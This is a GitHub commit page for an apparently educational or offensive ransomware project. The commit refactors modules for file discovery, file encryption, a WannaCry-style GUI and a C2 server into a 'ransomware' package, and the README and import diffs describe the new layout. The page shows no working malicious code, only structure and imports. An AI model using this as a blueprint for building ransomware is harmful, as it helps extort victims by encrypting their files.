Skip to content

Commit 66f2169

Browse files
committed
Refactor ransomware package structure and remove obsolete files
- Deleted `discover.py` and `modify.py` as part of restructuring. - Updated imports in `main.py` and `main_v2.py` to reflect the new `ransomware` package organization. - Removed `wannacry_gui.py` and integrated its functionality into `ransomware/gui_main.py`. - Updated README.md to document the new modular structure and import paths.
1 parent 447bde6 commit 66f2169

File tree

7 files changed

+27
-6
lines changed

7 files changed

+27
-6
lines changed

README.md

Lines changed: 21 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -66,4 +66,24 @@ python c2_server_alt.py
6666
- `c2_server/` — All C2 server code and related files
6767
- `discover.py` — File discovery logic
6868
- `modify.py` — File encryption/decryption logic
69-
- `
69+
- `gui_main.py` — Main GUI entry point
70+
- `__init__.py` — Package marker
71+
72+
## Modular Structure Update
73+
74+
The codebase has been refactored for modularity:
75+
76+
- All core logic is now in the `ransomware/` package:
77+
- `ransomware/discover.py`: File discovery logic
78+
- `ransomware/modify.py`: File modification (encryption/decryption)
79+
- `ransomware/gui_main.py`: Main GUI entry point (formerly `wannacry_gui.py`)
80+
- `ransomware/__init__.py`: Package marker
81+
82+
Update your imports to use the new package structure, e.g.:
83+
84+
```python
85+
from ransomware import discover, modify
86+
from ransomware.gui_main import WannaCryGUI
87+
```
88+
89+
All previous functionality is preserved, but now organized for clarity and maintainability.

main.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@
99
import base64
1010
import platform
1111

12-
import discover
13-
import modify
12+
from ransomware import discover
13+
from ransomware import modify
1414

1515
# -----------------
1616
# GLOBAL VARIABLES

main_v2.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,9 @@
1414
import time
1515
from dotenv import load_dotenv
1616

17-
import discover
18-
import modify
19-
from wannacry_gui import WannaCryGUI
17+
from ransomware import discover
18+
from ransomware import modify
19+
from ransomware.gui_main import WannaCryGUI
2020

2121
# Load environment variables from .env
2222
load_dotenv()

ransomware/__init__.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
File renamed without changes.
File renamed without changes.
File renamed without changes.

0 commit comments

Comments
 (0)